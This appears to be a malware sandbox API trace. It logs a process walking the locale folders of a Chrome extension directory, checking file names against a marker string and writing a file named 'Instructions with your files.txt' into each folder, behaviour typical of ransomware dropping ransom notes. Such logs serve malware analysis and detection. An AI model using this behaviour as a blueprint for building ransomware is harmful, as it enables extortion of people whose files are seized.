[0129.641] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.641] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.641] CloseHandle (hObject=0x134) returned 1
[0129.641] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.641] GetProcessHeap () returned 0x810000
[0129.641] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.641] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
[0129.641] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el") returned 141
[0129.641] GetProcessHeap () returned 0x810000
[0129.641] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.641] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\*") returned 143
[0129.641] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.642] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\.") returned 143
[0129.642] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.642] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\..") returned 144
[0129.642] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.642] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json") returned 155
[0129.642] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.642] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.642] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\Instructions with your files.txt") returned 174
[0129.643] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.643] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.644] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.644] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.644] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.644] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.644] CloseHandle (hObject=0x134) returned 1
[0129.644] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.644] GetProcessHeap () returned 0x810000
[0129.644] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.644] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1
[0129.644] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB") returned 144
[0129.644] GetProcessHeap () returned 0x810000
[0129.644] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.644] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\*") returned 146
[0129.644] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.645] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\.") returned 146
[0129.645] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.645] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\..") returned 147
[0129.645] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.645] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json") returned 158
[0129.645] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.645] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.645] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\Instructions with your files.txt") returned 177
[0129.645] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.645] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.646] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.646] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.646] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.647] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.647] CloseHandle (hObject=0x134) returned 1
[0129.647] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.647] GetProcessHeap () returned 0x810000
[0129.647] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.647] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1
[0129.647] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US") returned 144
[0129.647] GetProcessHeap () returned 0x810000
[0129.647] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.647] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\*") returned 146
[0129.647] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.648] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\.") returned 146
[0129.648] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.648] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\..") returned 147
[0129.648] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.648] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json") returned 158
[0129.648] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.648] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e4a090, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.648] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\Instructions with your files.txt") returned 177
[0129.648] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.649] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.649] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.649] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.650] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.650] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.650] CloseHandle (hObject=0x134) returned 1
[0129.650] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.650] GetProcessHeap () returned 0x810000
[0129.650] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.650] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
[0129.650] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es") returned 141
[0129.650] GetProcessHeap () returned 0x810000
[0129.650] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.650] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\*") returned 143
[0129.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.653] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\.") returned 143
[0129.653] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e498c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e498c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e498c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.653] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\..") returned 144
